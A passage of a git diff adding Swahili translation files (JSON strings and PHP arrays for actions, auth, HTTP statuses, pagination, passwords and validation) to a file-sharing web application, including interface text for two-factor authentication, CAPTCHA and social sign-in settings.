anayeweza kujisajili kwa mtoa huduma wako kwa anwani ya mtu mwingine anaweza kuingia kama yeye.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Msimamizi aliondoa uthibitishaji wa hatua mbili kutoka akaunti yako. Unaweza kuusanidi tena kutoka mipangilio yako ya usalama. Wasiliana na msimamizi wako iwapo halikutarajiwa.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Yeyote anayeweza kufikia faili huona kategoria zilizopewa faili hilo — mteja katika lango lake, au yeyote aliye na kiungo cha umma au kilichoshirikiwa. Wateja walioingia wanaweza pia kuchuja faili zao kwa kategoria yoyote katika orodha hii. Timu yako pekee ndiyo inayoweza kuziunda, kuzibadilisha majina au kuzifuta.", + "Applies whenever a password is chosen, not when one is used to sign in": "Hutumika kila nywila inapochaguliwa, si inapotumika kuingia", + "Approve those accounts automatically": "Idhinisha akaunti hizo kiotomatiki", + "A secret is stored. Leave this blank to keep it.": "Siri imehifadhiwa. Acha wazi ili kuihifadhi.", + "At least :count characters.": "Angalau herufi :count.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Kati ya 0.0 (chukulia kila mtu kama roboti) na 1.0 (chukulia kila mtu kama binadamu). Thamani ya kawaida ni 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA kwa sasa imezimwa. Chagua mtoa huduma na uweke funguo zake ili kuiwasha.", + "CAPTCHA settings saved.": "Mipangilio ya CAPTCHA imehifadhiwa.", + "Categories are visible outside your team": "Kategoria zinaonekana nje ya timu yako", + "Change yours": "Badilisha yako", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Hukagua nywila mpya dhidi ya hifadhidata ya uvujaji ya Have I Been Pwned. Nywila yenyewe haiondoki kamwe kwenye seva hii — herufi tano za kwanza za hashi yake pekee ndizo hutumwa.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Hukagua ufunguo wa siri na mtoa huduma wako. Hakuna anayehitaji kutatua changamoto.", + "Client ID": "Kitambulisho cha mteja", + "Client registration": "Usajili wa wateja", + "Client secret": "Siri ya mteja", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Zimetenganishwa kwa koma. Acha wazi ili kuruhusu anwani yoyote.", + "Comments from visitors": "Maoni kutoka kwa wageni", + "Complete the security check and try again.": "Kamilisha ukaguzi wa usalama kisha ujaribu tena.", + "Configure it myself": "Nitaisanidi mwenyewe", + "Connected": "Imeunganishwa", + "Connected accounts": "Akaunti zilizounganishwa", + "Connected the :provider account of \":subject\"": "Aliunganisha akaunti ya :provider ya \":subject\"", + "Continue with :provider": "Endelea na :provider", + "Could not reach :provider: :error": "Haikuweza kufikia :provider: :error", + "Created a client account from :provider on first sign-in": "Aliunda akaunti ya mteja kutoka :provider wakati wa kuingia kwa mara ya kwanza", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Tarehe na nyakati katika programu nzima huonyeshwa katika saa hii za eneo. Ilitambuliwa kutoka kivinjari chako mara ya kwanza ulipoingia.", + "Default language": "Lugha chaguomsingi", + "Directory (tenant) ID": "Kitambulisho cha saraka (mpangaji)", + "Disabled": "Imezimwa", + "Disconnect": "Tenganisha", + "Disconnected the :provider account of \":subject\"": "Alitenganisha akaunti ya :provider ya \":subject\"", + "Downloaded :count time(s) so far. Your own downloads never count.": "Imepakuliwa mara :count hadi sasa. Upakuaji wako mwenyewe hauhesabiwi kamwe.", + "Download limit": "Kikomo cha upakuaji", + "Download limit reached": "Kikomo cha upakuaji kimefikiwa", + "Each person separately": "Kila mtu kando", + "Enabled": "Imewashwa", + "Enter a secret key first.": "Weka ufunguo wa siri kwanza.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Weka kitambulisho mahususi cha mpangaji. Ncha zinazoshirikiwa \"common\", \"organizations\" na \"consumers\" huruhusu mpangaji yeyote wa Microsoft kudai anwani yoyote ya barua pepe.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Kila lugha iliyosakinishwa kwenye seva hii imeorodheshwa hapa chini. Tia alama zile unazotaka kutoa katika menyu ya lugha — wafanyakazi, wateja na wageni wa umma wataona hizo pekee. Kusakinisha lugha nyingine ni suala la kuongeza faili yake ya tafsiri katika folda ya lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Nywila zilizopo hazikaguliwi tena kamwe, kwa hivyo kupandisha hii huathiri tu nywila zitakazochaguliwa kuanzia sasa.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Kwa jumla, kwa kila mtu", + "Issuer URL": "URL ya mtoaji", + "Languages": "Lugha", + "Language settings": "Mipangilio ya lugha", + "Leave empty for a file that can be downloaded any number of times.": "Acha wazi kwa faili linaloweza kupakuliwa idadi yoyote ya mara.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Urefu ndio kigezo kikubwa zaidi cha jinsi nywila inavyokuwa vigumu kukisiwa, ndiyo maana hapa hakuna sheria za aina ya \"lazima iwe na herufi kubwa\" — sheria hizo huwasukuma watu kwenye mibadala inayotabirika na nywila fupi zaidi.", + "Let people sign in with an account they already have somewhere else.": "Ruhusu watu waingie kwa akaunti waliyonayo tayari mahali pengine.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Urefu wa chini kabisa", + "No limit": "Hakuna kikomo", + "None selected": "Hakuna kilichochaguliwa", + "No sign-in providers have been set up for this site.": "Hakuna watoa huduma wa kuingia waliosanidiwa kwa tovuti hii.", + "Not connected": "Haijaunganishwa", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Imezimwa maana yake wanasubiri katika Maombi ya akaunti. Anwani ambayo mtoa huduma hakuithibitisha husubiri daima, hata mpangilio huu useme nini.", + "Off — no CAPTCHA": "Imezimwa — hakuna CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Au endelea na", + "Or sign up with": "Au jisajili kwa", + "Passwords": "Nywila", + "Passwords that appear in known data breaches are not accepted.": "Nywila zinazojitokeza katika uvujaji wa data unaojulikana hazikubaliwi.", + "Protection": "Ulinzi", + "Protect these forms": "Linda fomu hizi", + "Protect your public forms from automated abuse": "Linda fomu zako za umma dhidi ya matumizi mabaya ya kiotomatiki", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI ya kuelekeza upya", + "Register this exact address with :provider. It must match character for character.": "Sajili anwani hii kamili na :provider. Lazima ilingane herufi kwa herufi.", + "Reject passwords found in known data breaches": "Kataa nywila zinazopatikana katika uvujaji wa data unaojulikana", + "Removed two-factor authentication from \":subject\"": "Aliondoa uthibitishaji wa hatua mbili kutoka \":subject\"", + "Remove the limit": "Ondoa kikomo", + "Remove two-factor authentication": "Ondoa uthibitishaji wa hatua mbili", + "Remove two-factor authentication?": "Ondoa uthibitishaji wa hatua mbili?", + "Require a verified email address": "Hitaji anwani ya barua pepe iliyothibitishwa", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Endesha hizi kama mtumiaji ambaye seva yako ya wavuti inaendeshwa kwake. INSTALL.md ina utaratibu kamili.", + "Score threshold": "Kizingiti cha alama", + "Search timezones…": "Tafuta saa za maeneo…", + "Security check failed. Please try again.": "Ukaguzi wa usalama umeshindwa. Tafadhali jaribu tena.", + "Service": "Huduma", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Weka nywila kwa akaunti hii. Haijawahi kuwa na moja — inaingia kupitia mtoa huduma aliyeunganishwa, na akaunti ya mfanyakazi inahitaji kitambulisho ambacho programu hii inaweza kukikagua yenyewe.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Wageni walioingia hawaombwi kamwe kutatua changamoto wanapotoa maoni.", + "Sign in": "Ingia", + "Sign in with an account you already have somewhere else.": "Ingia kwa akaunti uliyonayo tayari mahali pengine.", + "Site key": "Ufunguo wa tovuti", + "Social login": "Kuingia kwa mitandao ya kijamii", + "Stored encrypted and never shown again, not even to you.": "Imehifadhiwa kwa usimbaji fiche na haitaonyeshwa tena, hata kwako.", + "Stored — leave blank to keep it": "Imehifadhiwa — acha wazi ili kuihifadhi", + "Testing…": "Inajaribu…", + "Test keys": "Jaribu funguo", + "That :provider account is already connected to another account here.": "Akaunti hiyo ya :provider tayari imeunganishwa na akaunti nyingine hapa.", + "That sign-in could not be completed. Please try again.": "Kuingia huko hakukuweza kukamilishwa. Tafadhali jaribu tena.", + "That sign-in method is not available.": "Njia hiyo ya kuingia haipatikani.", + "The default language has to be one of the languages you are offering.": "Lugha chaguomsingi lazima iwe mojawapo ya lugha unazotoa.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Ncha husomwa kutoka anwani hii, kwa hivyo ndiyo usanidi wote. Lazima iwe https.", + "The expiry date must be in the future.": "Tarehe ya kuisha lazima iwe ya baadaye.", + "The issuer URL must start with https://.": "URL ya mtoaji lazima ianze na https://.", + "The public key. It appears in your pages’ source, which is expected.": "Ufunguo wa umma. Unaonekana katika msimbo chanzo wa kurasa zako, jambo linalotarajiwa.", + "There is no account here for that address.": "Hakuna akaunti hapa kwa anwani hiyo.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Ukaguzi wa usalama haukuweza kupakiwa. Hakikisha kivinjari au mtandao wako haukizuii, kisha upakie tena ukurasa.", + "This account does not use an authenticator app.": "Akaunti hii haitumii programu ya uthibitishaji.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Akaunti hii haijawahi kuwa na nywila yake yenyewe — inaingia kupitia mtoa huduma aliyeunganishwa. Wafanyakazi wanahitaji kitambulisho ambacho programu hii inaweza kukikagua yenyewe, ili tatizo la mtoa huduma lisiwafungie nje.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Akaunti hii inaingia kwa programu ya uthibitishaji. Iondoe tu iwapo mmiliki wa akaunti amepoteza programu na misimbo yake ya kurejesha kwa pamoja.", + "This file has reached its download limit.": "Faili hili limefikia kikomo chake cha upakuaji.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Hii ndiyo njia pekee unayoweza kuingia. Weka nywila kwanza, kisha utenganishe :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Tovuti hii inalindwa na reCAPTCHA na Sera ya Faragha na Masharti ya Huduma ya Google yanatumika.", + "Those files have reached their download limit.": "Faili hizo zimefikia kikomo chake cha upakuaji.", + "Timezone": "Saa za eneo", + "To update, back up your database and files, then:": "Ili kusasisha, hifadhi nakala ya hifadhidata na faili zako, kisha:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Ili kusasisha, fuata hatua katika INSTALL.md — hifadhi nakala kwanza, kisha fungua toleo na uendeshe uhamiaji.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Zima hii tu iwapo seva hii haipaswi kufanya maombi yoyote ya kutoka nje. Iwapo huduma haiwezi kufikiwa nywila inakubaliwa hata hivyo, kwa hivyo usakinishaji wa nje ya mtandao hauzuiwi kamwe nayo.", + "Two-factor authentication removed.": "Uthibitishaji wa hatua mbili umeondolewa.", + "Two-factor authentication removed by an admin": "Uthibitishaji wa hatua mbili uliondolewa na msimamizi", + "Two-factor authentication was removed by an administrator": "Uthibitishaji wa hatua mbili uliondolewa na msimamizi", + "Two-factor authentication was removed from your account": "Uthibitishaji wa hatua mbili uliondolewa kutoka akaunti yako", + "Unexpected reply from :provider: :codes": "Jibu lisilotarajiwa kutoka :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Hutumika kwa yeyote ambaye hajachagua saa zake za eneo, wakiwemo wageni wa kurasa zako za umma na viungo vya kushiriki. Kila akaunti inaweza kuweka zake katika wasifu wake.", + "Use ProjectSend’s protection": "Tumia ulinzi wa ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Tumia akaunti yako mwenyewe ya reCAPTCHA au Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Uthibitishaji haukuweza kufikiwa hivi karibuni, kwa hivyo fomu zilizolindwa zinapitishwa bila kukaguliwa. Hakuna anayefungiwa nje.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Tunalinda fomu zako za umma kwa niaba yako. Hakuna cha kusanidi, hakuna funguo za kusimamia.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Kile watu wanachokiona kabla ya kuchagua chochote. Akaunti iliyoingia hudumisha chaguo lake mwenyewe, na mgeni ambaye kivinjari chake huomba mojawapo ya lugha zilizo hapo juu hupata hiyo — hili ndilo jibu kwa kila mtu mwingine.", + "Which languages people can choose from": "Lugha ambazo watu wanaweza kuchagua kutoka", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Akaunti yako iliundwa kupitia mmojawapo wa watoa huduma hawa na haina nywila yake yenyewe, kwa hivyo muunganisho wa mwisho hauwezi kuondolewa. Weka nywila kwanza iwapo unataka kuutenganisha.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Akaunti yako mwenyewe imewekwa kwa :timezone, kwa hivyo hii haitabadilisha jinsi tarehe zinavyoonekana kwako.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Mpangaji wako mwenyewe, si \"common\". Microsoft huruhusu mtumiaji kubadilisha anwani ya barua pepe kwenye akaunti yake, kwa hivyo kuingia kunaaminika tu wakati tokeni ilitoka kwa mpangaji uliyemtaja hapa.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Mtoa huduma wako alikataa ufunguo wa siri wa usakinishaji huu, kwa hivyo fomu zilizolindwa zinapitishwa bila kukaguliwa. Angalia ufunguo wa siri hapa chini.", + "Your public forms are protected. You can switch to your own keys at any time.": "Fomu zako za umma zinalindwa. Unaweza kubadilisha na kutumia funguo zako mwenyewe wakati wowote." +} diff --git a/lang/sw/actions.php b/lang/sw/actions.php new file mode 100644 index 00000000..7123b7d9 --- /dev/null +++ b/lang/sw/actions.php @@ -0,0 +1,119 @@ + 'Kubali', + 'action' => 'Kitendo', + 'actions' => 'Vitendo', + 'add' => 'Ongeza', + 'admin' => 'Msimamizi', + 'agree' => 'Kubali', + 'archive' => 'Hifadhi', + 'assign' => 'Kadiria', + 'associate' => 'Mshirika', + 'attach' => 'Ambatisha', + 'browse' => 'Vinjari', + 'cancel' => 'Ghairi', + 'choose' => 'Chagua', + 'choose_file' => 'Chagua Faili', + 'choose_image' => 'Chagua Picha', + 'click_to_copy' => 'Bofya ili kunakili', + 'close' => 'Funga', + 'collapse' => 'Kunja', + 'collapse_all' => 'Kunja Zote', + 'comment' => 'Maoni', + 'confirm' => 'Thibitisha', + 'connect' => 'Unganisha', + 'create' => 'Unda', + 'delete' => 'Futa', + 'detach' => 'Tenganisha', + 'details' => 'Maelezo', + 'disable' => 'Zima', + 'discard' => 'Tupa', + 'done' => 'Imekamilika', + 'down' => 'Chini', + 'duplicate' => 'Nakala', + 'edit' => 'Hariri', + 'enable' => 'Wezesha', + 'expand' => 'Panua', + 'expand_all' => 'Panua Yote', + 'explanation' => 'Maelezo', + 'export' => 'Hamisha', + 'file' => 'Faili', + 'files' => 'Mafaili', + 'go_home' => 'Nenda nyumbani', + 'hide' => 'Ficha', + 'home' => 'Nyumbani', + 'image' => 'Picha', + 'impersonate' => 'Kuiga', + 'impersonation' => 'Uigaji', + 'import' => 'Ingiza', + 'introduction' => 'Utangulizi', + 'like' => 'Kama', + 'load' => 'Mzigo', + 'localize' => 'Janibisha', + 'log_in' => 'Ingia', + 'log_out' => 'Toka nje', + 'named' => [ + 'add' => 'Ongeza :name', + 'choose' => 'Chagua :name', + 'create' => 'Unda :name', + 'delete' => 'Futa :name', + 'duplicate' => 'Nakala: jina', + 'edit' => 'Hariri :name', + 'export' => 'Export :name', + 'hide' => 'Ficha :name', + 'import' => 'Ingiza :name', + 'new' => 'Mpya :name', + 'restore' => 'Rejesha :name', + 'save' => 'Hifadhi :name', + 'search' => 'Tafuta :name', + 'show' => 'Onyesha :name', + 'update' => 'Sasisha :name', + 'view' => 'Tazama :name', + ], + 'new' => 'Mpya', + 'no' => 'Hapana', + 'open' => 'Fungua', + 'open_website' => 'Fungua kwenye tovuti', + 'preview' => 'Hakiki', + 'price' => 'Bei', + 'record' => 'Rekodi', + 'restore' => 'Rejesha', + 'save' => 'Hifadhi', + 'save_and_close' => 'Hifadhi na Ufunge', + 'save_and_return' => 'Hifadhi na Urudi', + 'search' => 'Tafuta', + 'select' => 'Chagua', + 'select_all' => 'Chagua Zote', + 'send' => 'Tuma', + 'settings' => 'Mipangilio', + 'show' => 'Onyesha', + 'show_all' => 'Onyesha yote', + 'sign_in' => 'Weka sahihi', + 'solve' => 'Tatua', + 'start' => 'Anza', + 'stop' => 'Acha', + 'submit' => 'Wasilisha', + 'subscribe' => 'Jisajili', + 'switch' => 'Badili', + 'switch_to_role' => 'Badili hadi Jukumu', + 'tag' => 'Lebo', + 'tags' => 'Lebo', + 'target_link' => [ + 'blank' => 'Fungua katika dirisha jipya', + 'parent' => 'Fungua katika fremu kuu', + 'self' => 'Fungua kwenye dirisha la sasa', + 'top' => 'Fungua kwenye fremu ya juu kabisa', + ], + 'translate' => 'Tafsiri', + 'translate_it' => 'Itafsiri', + 'unpack' => 'Fungua', + 'unsubscribe' => 'Jiondoe', + 'up' => 'Juu', + 'update' => 'Sasisha', + 'user' => 'Mtumiaji', + 'view' => 'Tazama', + 'yes' => 'Ndiyo', +]; diff --git a/lang/sw/auth.php b/lang/sw/auth.php new file mode 100644 index 00000000..78dedf50 --- /dev/null +++ b/lang/sw/auth.php @@ -0,0 +1,9 @@ + 'Hii hati tambulishi hailingani na rekodi zetu.', + 'password' => 'Nenosiri ni sahihi.', + 'throttle' => 'Majaribio mengi sana ya kuingia. Tafadhali jaribu tena katika sekunde :seconds.', +]; diff --git a/lang/sw/http-statuses.php b/lang/sw/http-statuses.php new file mode 100644 index 00000000..be1cef79 --- /dev/null +++ b/lang/sw/http-statuses.php @@ -0,0 +1,84 @@ + 'Hitilafu Isiyojulikana', + '100' => 'Endelea', + '101' => 'Kubadilisha Itifaki', + '102' => 'Inachakata', + '200' => 'sawa', + '201' => 'Imeundwa', + '202' => 'Imekubaliwa', + '203' => 'Taarifa Zisizo Mamlaka', + '204' => 'Hakuna Maudhui', + '205' => 'Weka Upya Maudhui', + '206' => 'Maudhui Sehemu', + '207' => 'Hali nyingi', + '208' => 'Tayari Imeripotiwa', + '226' => 'Imetumika', + '300' => 'Chaguo Nyingi', + '301' => 'Imehamishwa kwa Kudumu', + '302' => 'Imepatikana', + '303' => 'Tazama Nyingine', + '304' => 'Haijabadilishwa', + '305' => 'Tumia Proksi', + '307' => 'Uelekezaji Upya kwa Muda', + '308' => 'Uelekezaji Upya wa Kudumu', + '400' => 'Ombi baya', + '401' => 'Haijaidhinishwa', + '402' => 'Malipo yanahitajika', + '403' => 'Haramu', + '404' => 'Haipatikani', + '405' => 'Mbinu Hairuhusiwi', + '406' => 'Haikubaliki', + '407' => 'Uthibitishaji wa Wakala Unahitajika', + '408' => 'Muda wa Ombi umekwisha', + '409' => 'Migogoro', + '410' => 'Imeondoka', + '411' => 'Urefu Unaohitajika', + '412' => 'Masharti Yameshindikana', + '413' => 'Mzigo Mkubwa Sana', + '414' => 'URI Mrefu Sana', + '415' => 'Aina ya Midia Isiyotumika', + '416' => 'Masafa Hayatosheki', + '417' => 'Matarajio Yameshindikana', + '418' => 'Mimi ni buli', + '419' => 'Kipindi Kimeisha', + '421' => 'Ombi Lililopotoshwa', + '422' => 'Huluki Isiyochakatwa', + '423' => 'Imefungwa', + '424' => 'Imeshindwa Kutegemea', + '425' => 'Mapema sana', + '426' => 'Uboreshaji Unahitajika', + '428' => 'Sharti la awali Inahitajika', + '429' => 'Maombi Mengi Sana', + '431' => 'Omba Sehemu za Kijajuu Kubwa Sana', + '444' => 'Muunganisho Umefungwa Bila Majibu', + '449' => 'Jaribu tena Na', + '451' => 'Haipatikani Kwa Sababu za Kisheria', + '499' => 'Ombi Lililofungwa la Mteja', + '500' => 'Hitilafu ya Ndani ya Seva', + '501' => 'Haijatekelezwa', + '502' => 'Mlango Mbaya', + '503' => 'Hali ya Matengenezo', + '504' => 'Muda wa Lango Umekwisha', + '505' => 'Toleo la HTTP Halitumiki', + '506' => 'Lahaja Pia Hujadili', + '507' => 'Hifadhi isiyotosha', + '508' => 'Kitanzi Kimegunduliwa', + '509' => 'Kikomo cha Kipimo Kimezidi', + '510' => 'Haijapanuliwa', + '511' => 'Uthibitishaji wa Mtandao Unahitajika', + '520' => 'Hitilafu Isiyojulikana', + '521' => 'Seva ya Wavuti iko Chini', + '522' => 'Muda wa Muunganisho Umekwisha', + '523' => 'Asili Haifikiki', + '524' => 'Muda wa Kuisha Umetokea', + '525' => 'Kupeana Mkono kwa SSL Imeshindwa', + '526' => 'Cheti batili cha SSL', + '527' => 'Hitilafu ya bunduki ya reli', + '598' => 'Hitilafu ya Muda wa Kusoma Mtandaoni', + '599' => 'Hitilafu ya Muda wa Kuisha kwa Muunganisho wa Mtandao', + 'unknownError' => 'Hitilafu Isiyojulikana', +]; diff --git a/lang/sw/pagination.php b/lang/sw/pagination.php new file mode 100644 index 00000000..47cd6666 --- /dev/null +++ b/lang/sw/pagination.php @@ -0,0 +1,8 @@ + 'Ifuatayo »', + 'previous' => '« Awali', +]; diff --git a/lang/sw/passwords.php b/lang/sw/passwords.php new file mode 100644 index 00000000..b827aea1 --- /dev/null +++ b/lang/sw/passwords.php @@ -0,0 +1,11 @@ + 'Nenosiri lako limefufuliwa upya!', + 'sent' => 'Tumekutumia barua pepe ya fungo la kufufua nenosiri!', + 'throttled' => 'Tafadhali subiri wakati inajaribu tena.', + 'token' => 'Huu ufufuzi wa nenosiri si halali.', + 'user' => 'Hatupati mtumiaji wa anuani hii ya barua pepe.', +]; diff --git a/lang/sw/validation.php b/lang/sw/validation.php new file mode 100644 index 00000000..997a5194 --- /dev/null +++ b/lang/sw/validation.php @@ -0,0 +1,288 @@ + 'Lazima kipengele kikubaliwe.', + 'accepted_if' => 'Kipengele :attribute lazima kikubalike wakati :other ni :value.', + 'active_url' => 'Kipengele sio Chanzo Cha Anuani halali.', + 'after' => 'Kipengele lazima kiwe tarehe baada ya :date.', + 'after_or_equal' => ':Attribute inapaswa kuwa tarehe baada au sawa na :date.', + 'alpha' => 'Kipengele huenda kikawa tu chenye herufi.', + 'alpha_dash' => 'Kipengele huenda kikawa tu chenye herufi, na vistari.', + 'alpha_num' => 'Kipengele huenda kikawa tu chenye herufi na nambari.', + 'any_of' => 'Sehemu ya :attribute si sahihi.', + 'array' => 'Kipengele lazima kiwe safu.', + 'ascii' => ':Attribute lazima iwe na herufi na alama za alphanumeric za baiti moja pekee.', + 'before' => 'Kipengele lazima kiwe tarehe kabla ya :date.', + 'before_or_equal' => ':Attribute inapaswa kuwa tarehe kabla au sawa na :date.', + 'between' => [ + 'array' => 'Kipengele lazima kiwe na kati ya :min na :max cha vifungu.', + 'file' => 'Kipengele lazima kiwe kati ya :min na :max cha kilobaiti.', + 'numeric' => 'Kipengele lazima kiwe kati ya :min na :max.', + 'string' => 'Kipengele lazima kiwe kati ya :min na :max cha herufi.', + ], + 'boolean' => 'Sehemu ya kipengele lazima iwe kweli au si kweli.', + 'can' => 'Sehemu ya :attribute ina thamani isiyoidhinishwa.', + 'confirmed' => 'Uthibitisho wa kipengele haulingani.', + 'contains' => 'Sehemu ya :attribute inakosa thamani inayohitajika.', + 'current_password' => 'Nenosiri si sahihi.', + 'date' => 'Kipengele si tarehe halali.', + 'date_equals' => ':Attribute inapaswa kuwa tarehe sawa na :date.', + 'date_format' => 'Kipengele hakilingani na muundo :date.', + 'decimal' => ':Attribute lazima iwe na sehemu :decimal za desimali.', + 'declined' => ':Attribute inapaswa kukataliwa.', + 'declined_if' => ':Attribute inapaswa kukataliwa kama :other ni :value.', + 'different' => 'Kipengele na :other lazima viwe tofauti.', + 'digits' => 'Kipengele lazima kiwe na tarakimu :digits.', + 'digits_between' => 'Kipengele lazima kiwe kati ya :min na :max cha tarakimu.', + 'dimensions' => ':Attribute ina vipimo vya picha ambavyo si sahihi.', + 'distinct' => 'Sehemu ya kipengele ina thamani rudufu.', + 'doesnt_contain' => 'Sehemu ya :attribute haipaswi kuwa na mojawapo ya yafuatayo: :values.', + 'doesnt_end_with' => ':Attribute inaweza isiishie na mojawapo ya yafuatayo: :values.', + 'doesnt_start_with' => ':Attribute inaweza isianze na mojawapo ya yafuatayo: :values.', + 'email' => 'Kipengele lazima kiwe anuani halali ya barua pepe.', + 'encoding' => 'The :attribute field must be encoded in :encoding.', + 'ends_with' => 'Ya :attribute lazima mwisho na moja ya yafuatayo: :values.', + 'enum' => ':Attribute iliyochaguliwa si sahihi.', + 'exists' => 'Kipengele kilichochaguliwa si halali.', + 'extensions' => 'Sehemu ya :attribute lazima iwe na mojawapo ya viendelezi vifuatavyo: :values.', + 'file' => ':Attribute linapaswa kuwa faili.', + 'filled' => 'Sehemu ya kipengele inahitajika.', + 'gt' => [ + 'array' => ':Attribute inapaswa kuwa na vitu zaidi ya :value.', + 'file' => ':Attribute inapaswa kuwa kubwa kuliko kilobaiti :value.', + 'numeric' => ':Attribute inapaswa kuwa kubwa kuliko :value.', + 'string' => ':Attribute inapaswa kuwa kubwa kuliko herufi :value.', + ], + 'gte' => [ + 'array' => ':Attribute inapaswa kuwa na vitu :value au zaidi.', + 'file' => ':Attribute inapaswa kuwa kubwa au sawa na kilobaiti :value.', + 'numeric' => ':Attribute inapaswa kuwa kubwa kuliko au sawa na :value.', + 'string' => ':Attribute inapaswa kuwa kubwa kuliko au sawa na herufi :value.', + ], + 'hex_color' => 'Sehemu ya :attribute lazima iwe rangi halali ya heksadesimali.', + 'image' => 'Kipengele lazima kiwe picha.', + 'in' => 'Kipengele kilichochaguliwa si halali.', + 'in_array' => 'Sehemu ya kipengele haipo katika :other.', + 'in_array_keys' => 'Sehemu ya :attribute lazima iwe na angalau mojawapo ya funguo zifuatazo: :values.', + 'integer' => 'Kipengele lazima kiwe nambari kamili.', + 'ip' => 'Kipengele lazima kiwe anuani halali ya Itifaki ya Intaneti.', + 'ipv4' => ':Attribute inapaswa kuwa anwani ya IPv4 sahihi.', + 'ipv6' => ':Attribute inapaswa kuwa anwani ya IPv6 sahihi.', + 'json' => 'Kipengele lazima kiwe kidwe halali cha Nukuu ya Java.', + 'list' => 'Sehemu ya :attribute lazima iwe orodha.', + 'lowercase' => ':Attribute ni lazima iwe na herufi ndogo..', + 'lt' => [ + 'array' => ':Attribute inapaswa kuwa chini ya vitu :value.', + 'file' => ':Attribute inapaswa kuwa chini ya kilobaiti :value.', + 'numeric' => ':Attribute inapaswa kuwa chini ya :value.', + 'string' => ':Attribute inapaswa kuwa chini ya herufi :value.', + ], + 'lte' => [ + 'array' => ':Attribute haipaswi kuwa na vitu ziadi ya :value.', + 'file' => ':Attribute inapaswa kuwa ndogo kuliko au sawa na kilobaiti :value.', + 'numeric' => ':Attribute inapaswa kuwa ndogo kuliko au sawa na :value.', + 'string' => ':Attribute inapaswa kuwa ndogo au sawa na herufi :value.', + ], + 'mac_address' => 'Kipengele :attribute kinapaswa kuwa anwani sahihi ya MAC.', + 'max' => [ + 'array' => 'Kipengele huenda kisiwe na zaidi ya :max cha vifungu.', + 'file' => 'Kipengele huenda si kikubwa kuliko :max cha kilobaiti.', + 'numeric' => 'Kipengele huenda si kikubwa kuliko :max.', + 'string' => 'Kipengele huenda si kikubwa kuliko :max cha herufi.', + ], + 'max_digits' => ':Attribute lazima isiwe na zaidi ya tarakimu :max.', + 'mimes' => 'Kipengele lazima kiwe faili ya aina: :values.', + 'mimetypes' => ':Attribute linapaswa kuwa faili la aina ya: :values.', + 'min' => [ + 'array' => 'Kipengele lazima kiwe na angalau :min cha vifungu.', + 'file' => 'Kipengele lazima kiwe angalau :min cha kilobaiti.', + 'numeric' => 'Kipengele lazima kiwe angalau :min.', + 'string' => 'Kipengele lazima kiwe angalau :min cha herufi.', + ], + 'min_digits' => ':Attribute lazima iwe na angalau tarakimu :min.', + 'missing' => 'Sehemu ya :attribute lazima ikosekana.', + 'missing_if' => 'Sehemu ya :attribute lazima ikosekana wakati :other ni :value.', + 'missing_unless' => 'Sehemu ya :attribute lazima ikose isipokuwa :other ni :value.', + 'missing_with' => 'Sehemu ya :attribute lazima ikosekana wakati :values iko.', + 'missing_with_all' => 'Sehemu ya :attribute lazima ikosekana wakati :values wapo.', + 'multiple_of' => 'Ya :attribute lazima kuwa nyingi ya :value', + 'not_in' => 'Kipengele kilichochaguliwa si halali.', + 'not_regex' => 'Muundo wa :attribute si sahihi.', + 'numeric' => 'Kipengele lazima kiwe nambari.', + 'password' => [ + 'letters' => ':Attribute lazima iwe na angalau herufi moja.', + 'mixed' => ':Attribute lazima iwe na angalau herufi 